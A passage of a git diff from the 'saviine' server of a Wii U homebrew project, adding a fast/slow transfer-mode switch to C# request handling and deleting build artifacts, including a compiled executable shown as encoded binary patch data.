= new StreamWriter(logs_root + "\\" + DateTime.Now.ToString("yyyy-MM-dd") + "-" + name + "-" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + ".txt", true, Encoding.ASCII, 1024*64); @@ -201,7 +207,16 @@ namespace saviine_server // Add new file for incoming data files_request.Add(fd, new FileStream(LocalRoot + path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write)); - + // Send response + if (fastmode) { + Log(log, "fast"); + writer.Write(BYTE_REQUEST); + } + else + { + Log(log, "slow"); + writer.Write(BYTE_REQUEST_SLOW); + } // Send response writer.Write(BYTE_SPECIAL); break; @@ -230,8 +245,7 @@ namespace saviine_server break; } - } - + } // Send response writer.Write(BYTE_SPECIAL); break; diff --git a/saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 814ec97890e5f54f6b21fd912264977470d31651..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6190 zcmeHLZBH9V5VpZ=FoYJ`FY~sud(TcHnMfr5#X@f?H;0gTZ-lD?9aN0H zEp*8Jq6s|_*!iGV3*_e7de+(or9~iDb5HF#`em(r=$lZ%s)W!e?q{v7uH)xiE z1CXobx%tXsWvPUtAMaRBPu%bVAPuKT=60=p-+18uf7aZ3d*XdS2* zsJ$>~6NX%S3V4N38c~Dxlx|KfFKIT!h8asFhLH{>lSzgT(!WNEO>LltL5Hj68VV!( z6-ZFRwO^wP-sN_7t{8%GzRmp*wzyF5p2kCqMhRKXS~cwk$`|F+owM-K8)s>WFS?7* zax3!-Ft@z2o4rbpYpQBL{IJ_ww_bC0$>bnJ`w>O)Zt4f~YaUZQ-avx@?MDm^0<>2j z&Rqhx>0u;e=@eB*h#(e7q;DX>*C>%Rkuf6UNXFPrq%7|XkcLfQ{pE3?4T_!@5hFLa z0w>0?j{SDM6vM;pA%5nw9cgxIG5I`9u;pj&_nF-FW}yWHJ}^p|AI zB$6lR_3YsJNMBTn@ZW0N<_r#hK*O!rE^EPRbz1GQYzhaZXg2!_Ys07;yM>i8YO?3& z=5s6Qukn9|yiX6CCSo^)ta*&ke9HEGpWTUSa0D4zAX*=G7s>i3xC-wAwi{gr*bK6g z`Pl1LbPuo|qq0w&*i}}0xezO#S=QL}^9$^deYA??FsJ1crvvsPi)K;g`~J&}p()*Z zLd6NdM)JQw`G0;!`3fSj_fV|=*~DV#q$pShU!cJksHbrY4ILL z_wY!kqy_f;lZtoo#XIQWf=NlF58j3Q5%;}b{2s&Yo!!yV^nE<_IweC;hSF;60g^)R zPu~o|q)32;mDC32!;%DZIUy;=Kqq`gYza%JMNDE2b<~#F8}}l diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt b/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt deleted file mode 100644 index 1e48085..0000000 --- a/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,6 +0,0 @@ -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe.config -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.pdb -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csprojResolveAssemblyReference.cache -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.exe -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.pdb diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache b/saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache deleted file mode 100644 index 62c17994e4245b6fdf5a64037fc409153030e29b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4634 zcmdTITZ|J`bf%q7JKgSfdFi4&x`GIy^ug}357?01N@W9!xFwKC*E-wY?hZ_6mOIlz z`H+p882!-zn!uNd@dpw#CIde(6eS}Ft4bY&>q=1XoL#UjiE>|u$NFn(Y1c0 z@D~ik@~WAqq+cU>lger^usc7dD(M}hxJN%owEnS3N46{5osC8_T@krMcA>WR#!3=J z!z8(cDVqejq^zP6Mmd+29))7Ms*cJZcBjZ--nh{LKFfwf0^HmysJkSw7@ zOOwEWVUQfGJTa1$#ZAV6pB&cd!DMLHwmns<&>4!LJY3*p3|`XAWW`!7tBmKVjEfw~ zsH%u|9hyh|lrXg(P^-?HT69zbjoQDjF=wQ8sw!jXWh-tq+jB1lOWY!QcyZL^`6qULGArFDs0#c*83$z)LM7E{ctDVTo~3JtHohjd5{_aY-Gc?>@M( zs}l5-RErzhcW1S&yIbx`cWsLHc65?RPp=EzysL%69cz(|+C}upM#7|uHtti5gp!+7 z3GTw`3E6;zO%ub==>SbnC??cFD7-^jJdaC`Op=nzGk86A8gUJ@-BCC!?ddk*o#W4~WfFjR7GF7DKY zD+rTT0^l)4n34b>Vmp8xB#%i9$?sR|;dF{wm653SY_^I)=2Y zE~T(t56TAdq^$bYlEN-KppNTQF(-0ub~3Khn68;rR~M!r(R6Jb)j@aPEh}_MSq5w3 zrZT3eidhs>aaA5S{7g{wectWncqcpD4u_}3iaN`Ru0}yvPC2N+WwdBBc5ZL2vUJtt z_AJ-7+^Id5{k9coprE#9vE^}yt6=vQH&P?5h9}a)0FJ>at^x2YkHbe_I2?}kg&T}E z;YOoPxKd2Qm0>1q8*ReaG*BK&50^%pa3hnj`$~_1A;K3h0?%#Pv97ucI1;8(oJW{~ zRJsPjP#`?vyuww${?WSIHLyB<1!UgIcGzD%g!Z_wc>PbSJdXCW#&u6jo|My&p)f;v zW=%>BCY17Qj{U-ejROxUSh{jNmUGrcHUQF82^&hJ5b}iqumFw#Qv46%w=^0{QBco+ zW<{DX1;nQo0S`DYe+eiIJq!W<6F@L#SOoCcR4@wgsQQh~h56kLh*Oq!X0L?39|BeJ_975fZ&w1tY;OZ_mw7t?h^O4?q(Pvh z7y#z)qkt6V&)>2YtSoH<-TViZlfo1b@7p|nuh!%9HjlB<&hprg<@a?s9UNf76vv$e zLc}BhdL%Ir#s45Y{M?`4+Bbdf`p<8KoxBNQw>apo>4!6GivHS4j>t;5#9RJaEW!ai0=sS#38a2y5>&I1Rs)*dd*^}DGQ zm_u!8_}+kD14f7`({TXs)d71R$Kx9Eeyk2S6C%ZqvRXfu4Cc@IqshHXJHLLB$K+*w jr^H!-e$2PVLNE#KLNF&93K{%UAsE?qAsA+jgf#sDsRx#3 diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.exe b/saviine/server/src/obj/x86/Debug/saviine_server.exe deleted file mode 100644 index dab81314f89b8c3faf02f496b56e6d2101c32cbb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 26624 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 